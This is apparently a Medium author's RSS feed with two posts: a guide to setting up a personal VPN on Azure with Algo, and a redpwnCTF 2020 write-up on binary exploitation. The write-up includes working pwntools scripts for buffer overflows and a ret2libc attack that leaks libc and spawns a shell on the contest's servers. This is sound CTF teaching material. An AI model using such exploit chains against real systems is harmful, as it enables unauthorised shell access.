<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Krishna Kaipa on Medium]]></title>
        <description><![CDATA[Stories by Krishna Kaipa on Medium]]></description>
        <link>https://medium.com/@rasput1n?source=rss-da18a0c581e8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_aPAMuRJrv535pySgn6rEQ.jpeg</url>
            <title>Stories by Krishna Kaipa on Medium</title>
            <link>https://medium.com/@rasput1n?source=rss-da18a0c581e8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 02:17:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@rasput1n/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Make your own personal VPN — An easy “How to” Guide]]></title>
            <link>https://rasput1n.medium.com/make-your-own-personal-vpn-an-easy-how-to-guide-c544ec29e66f?source=rss-da18a0c581e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c544ec29e66f</guid>
            <category><![CDATA[vpn]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[azure]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[privacy]]></category>
            <dc:creator><![CDATA[Krishna Kaipa]]></dc:creator>
            <pubDate>Sun, 02 May 2021 16:53:35 GMT</pubDate>
            <atom:updated>2021-05-02T16:53:35.830Z</atom:updated>
            <content:encoded><![CDATA[<h3>Make your own personal VPN — An easy “How to” Guide</h3><blockquote>VPNs have become one of the most essential tools for anyone in this age of privacy breaches and data collection. In this short guide, I’ll be walking you through creating your very own personal private disposable VPN.</blockquote><p>So lets start with the question — <strong>WHY?</strong></p><figure><img alt="The evolution of VPNs: from business security to privacy protection |  Hacker Noon" src="https://cdn-images-1.medium.com/proxy/1*i_YhpKN-z08_5GwZ2W77ZQ.png" /></figure><p>VPN services have been notorious at making false claims and promises of anonymity and privacy of data. Time and time again, incidents of data collection, sale of the said data and even server compromises due to hackers continue to be reported. This just means that the only person you can trust with your data is YOURSELF.</p><p>There’s 2 ways of going about and setting up your own VPN server, each with its merits and demerits. One being hosting the server on your own home network. This means that you are a slave to your upload speeds (in most cases which is throttled or slow). The other being hosting your server with a Cloud Server provider like Google Cloud or AWS or Microsoft Azure. Let me walk you through setting up your personal VPN server on Microsoft Azure. There is no particular reason I chose Azure, I just happened to have $100 of Cloud credits which had to be put to good use.</p><p><strong>The Setup</strong></p><p>We will be using this —<a href="https://github.com/trailofbits/algo">Algo</a>, an open-source application with the motive to be deployed on a variety of cloud providers or even your own device and automate the entire process so it can be easily torn down and setup again.</p><blockquote>Part 1 — Prerequisites</blockquote><p>We will be generating a few keys and access token’s which will be required by Algo to create and manage resources. Keep a text file ready on your pc to copy paste the keys which we will use later on the server. Paste the following into that text file:</p><pre>[default]<br>subscription_id=<br>client_id=<br>secret=<br>tenant=</pre><p>Search for App registrations and register a new app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*vsZdhvtwtbQzD8O6hiMeRA.png" /></figure><p>After you add a new app, copy the “Application (client) ID” and paste it next to client_id in the text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gEQDeIBFGOEsneBcdYcTdw.png" /></figure><p>Then, go to <em>Certificates and Secrets</em> section and create a new client secret and copy its value and paste it next to “secret=” in the text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FMxWQ3BnmuVMnywHWX31yw.png" /><figcaption>Note: Test is not the name of my App Registration. You can name it to anything you want.</figcaption></figure><p>Next, search for “Subscriptions” and copy the subscription ID of your current billing account and paste it to the text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BqcakR4jrPUbKEbnZSI-Mw.png" /></figure><p>Lastly, search for Azure Active Directory in the top search bar and select the first result. Scroll down and select Properties from the newly opened left menu. Copy the tenant ID and paste it to the text file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*9czBRH41CxayyZlA-Ihwgg.png" /></figure><p>We also need the azure credentials in the form of a json file. To get this, open the cloud shell as a powershell instance on Azure and type the following:</p><pre>Save-AzureRmProfile -Path “/home/username/clouddrive/azureProfile.json”<br></pre><p>Download this file to your local computer.</p><p>Keep these files handy for the next part.</p><blockquote><strong>Part 2 — Running the script</strong></blockquote><p>Create a new virtual machine (Create Resource &gt; Compute &gt; Virtual Machine). In this case, I used a B1S instance because anything more powerful than that is unnecessary.</p><p>SSH into the machine once it is deployed.</p><p>Run the following commands one by one:</p><pre>git clone <a href="https://github.com/trailofbits/algo.git">https://github.com/trailofbits/algo.git</a></pre><pre>sudo apt-get update</pre><pre>sudo apt install -y — no-install-recommends python3-virtualenv</pre><pre>mkdir .azure</pre><pre>touch credentials</pre><pre>nano credentials</pre><p>Now paste the text file in which we pasted the access keys as it was.</p><pre>[default]<br>subscription_id=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx<br>client_id=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx<br>secret=xxxxxxxxxxxxxxxxx<br>tenant=xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx</pre><p>Press cntl+s to save and cntl+x exit the editor.</p><p>Now, copy the contents of the azureProfile.json file you downloaded.</p><pre>touch azureProfile.json</pre><pre>nano azureProfile.json</pre><p>Paste the entire file, cntl+s to save and cntl+x exit the editor.</p><p>If you wish to tinker the configuration, open the config file using your favorite editor(nano or vim) and edit as you like.</p><p>Now, run the following.</p><pre>cd algo</pre><pre>python3 -m virtualenv — python=”$(command -v python3)” .env &amp;&amp;<br> source .env/bin/activate &amp;&amp;<br> python3 -m pip install -U pip virtualenv &amp;&amp;<br> python3 -m pip install -r requirements.txt</pre><pre>./algo</pre><p>This is run the algo script and will prompt you with a few options. Select Microsoft Azure when asked for cloud provider and rest of the options to your liking.</p><p>After all the options are selected and the script finishes running, you should something like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*UvLohvQR1mDldkO7q0BrGg.png" /></figure><p>Copy the configuration files from the configs directory using whichever method you find suitable(I used scp). Here’s a sample command:</p><pre>scp user@xxx.xxx.xxx.xxx:/home/username/algo/configs/xxx.xxx.xxx.xxx/wireguard/laptop.conf C:\Users\user</pre><p>Now download the wireguard client for your device (android/Windows/Mac/iOS) and use the config you downloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*P-AV7Dt0ars_yy9IIsQXJA.png" /></figure><p>Setting up your VPN server on cloud servers DOES NOT give you a free pass to access illegal content. Your data can is still visible to the Cloud Service provider who is legally required to hand over to authorities in case that your IP address gets investigated. That being said, this method provides a quick and easy way to get a DISPOSABLE VPN which can be created in a matter of minutes and then be wiped clean. Hope you had fun reading and even more fun trying it on your own! Thanks :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c544ec29e66f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REDPWN CTF Pwning Writeup]]></title>
            <link>https://rasput1n.medium.com/redpwn-ctf-pwning-writeup-b08a4be5f9b7?source=rss-da18a0c581e8------2</link>
            <guid isPermaLink="false">https://medium.com/p/b08a4be5f9b7</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Krishna Kaipa]]></dc:creator>
            <pubDate>Fri, 26 Jun 2020 07:32:23 GMT</pubDate>
            <atom:updated>2020-06-26T07:32:23.419Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>coffer-overflow-0</strong></h4><p>This is a very basic overflow question. The code is as follows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*EJoWAc9Nu_opFf7-h1A77A.png" /><figcaption>coffer-overflow-0 code</figcaption></figure><p>We just have to overflow(simply enter excess of 16 characters) the buffer ‘name’ to get a shell on the remote server. The flag is — flag{b0ffer_0verf10w_3asy_as_123}.</p><h4>coffer-overflow-1</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*ga1UO6go6qoPytmOTsEwSQ.png" /><figcaption>coffer-overflow-1 code</figcaption></figure><p>First let us find out the offset. To do that, lets look at the disassembled code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M1cp5Nn2LWPQuQm-DjQEbQ.png" /><figcaption>disassembly of coffer-overflow-1</figcaption></figure><p>Here we can see on &lt;+117&gt; that the register rax is being compared to $rbp-0x8. Let us use a cyclic offset and overflow the function and see what value $rbp-0x8 contains.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*10_9V4C_Yg-NHdYHiBbdOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/346/1*n96Ya491uh6zGHeT8uv1vg.png" /><figcaption>Calculate offset</figcaption></figure><p>So we get the offset value to be 24. Then we can write a simple script to appropriately overflow the stack and set the value of code to be ‘0xcafebabe’.</p><blockquote><em>from pwn import *<br>address = 0xcafebabe</em></blockquote><blockquote><em>#p = process(‘./coffer-overflow-1’)<br>p = remote(‘2020.redpwnc.tf’,31255)<br>payload = b’a’ * 24<br>payload += p64(address)</em></blockquote><blockquote><em>p.recvuntil(‘with?’)<br>p.sendline(payload)<br>p.interactive()</em></blockquote><p>This will give us a shell and we can read the flag — flag{th1s_0ne_wasnt_pure_gu3ssing_1_h0pe}.</p><h4>the-library</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*eZCGahr8eL5lDnGHJl8qTQ.png" /><figcaption>the-library code</figcaption></figure><p>Let us check what security features are enabled before proceeding further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*3OBcg5bJPnXh2kxijM_zPA.png" /></figure><p>NX is enabled which means that we cannot directly execute shellcode from the stack. Let us do a ret2libc attack in this case.</p><p>To do a ret2libc attack we first need to leak the libc base. The following code snippet details this:</p><blockquote>from pwn import *</blockquote><blockquote>p = remote(‘2020.redpwnc.tf’,31350)<br>#p = process(‘./the-library’)<br>binary = ELF(‘the-library’)<br>context.update(arch=’amd64&#39;)<br>rop = ROP(‘the-library’)</blockquote><blockquote>pop_rdi = rop.find_gadget([‘pop rdi’,’ret’])[0]<br>#print(“pop rdi: “,hex(pop_rdi))</blockquote><blockquote>payload = b’a’ * 24<br>payload += p64(pop_rdi)<br>payload += p64(binary.got[‘puts’])<br>payload += p64(binary.plt[‘puts’])<br>payload += p64(binary.symbols[‘main’])</blockquote><blockquote>p.recvuntil(‘name?\n’)<br>p.sendline(payload)</blockquote><blockquote>p.recvlines(2)<br>libc_leak=p.recv()[0:6]<br>libc_puts=u64(libc_leak.ljust(8,b”\x00&quot;))<br>print(“puts: “,hex(libc_puts))</blockquote><p>We get the address of puts as ‘0x7ff77d1109c0’. We use <a href="https://libc.blukat.me/">https://libc.blukat.me/</a> to search the database and we find the library to be libc6_2.27–3ubuntu1_amd64.</p><p>We then get the base address of the library and find the system function in it and add it to the payload and send it. The following is the final exploit.</p><blockquote>from pwn import *</blockquote><blockquote>p = remote(‘2020.redpwnc.tf’,31350)<br>#p = process(‘./the-library’)<br>libc = ELF(‘/home/rasput1n/Downloads/libc6_2.27–3ubuntu1_amd64.so’)<br>binary = ELF(‘the-library’)<br>context.update(arch=’amd64&#39;)<br>rop = ROP(‘the-library’)</blockquote><blockquote>pop_rdi = rop.find_gadget([‘pop rdi’,’ret’])[0]</blockquote><blockquote>payload = b’a’ * 24<br>payload += p64(pop_rdi)<br>payload += p64(binary.got[‘puts’])<br>payload += p64(binary.plt[‘puts’])<br>payload += p64(binary.symbols[‘main’])</blockquote><blockquote>p.recvuntil(‘name?\n’)<br>p.sendline(payload)</blockquote><blockquote>p.recvlines(2)<br>libc_leak=p.recv()[0:6]<br>libc_puts=u64(libc_leak.ljust(8,b”\x00&quot;))<br>libc_base=libc_puts-libc.symbols[“puts”]<br>print(“puts: “,hex(libc_puts))<br>print(“base: “,hex(libc_base))</blockquote><blockquote>payload = 24 * b’A’<br>payload += p64(pop_rdi + 1)<br>payload += p64(pop_rdi)<br>payload += p64(libc_base + next(libc.search(b”/bin/sh”)))<br>payload += p64(libc_base + libc.symbols[‘system’])<br>print(payload)</blockquote><blockquote>p.sendline(payload)</blockquote><blockquote>p.interactive()</blockquote><p>We get a shell and we read the flag — flag{jump_1nt0_th3_l1brary}.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b08a4be5f9b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>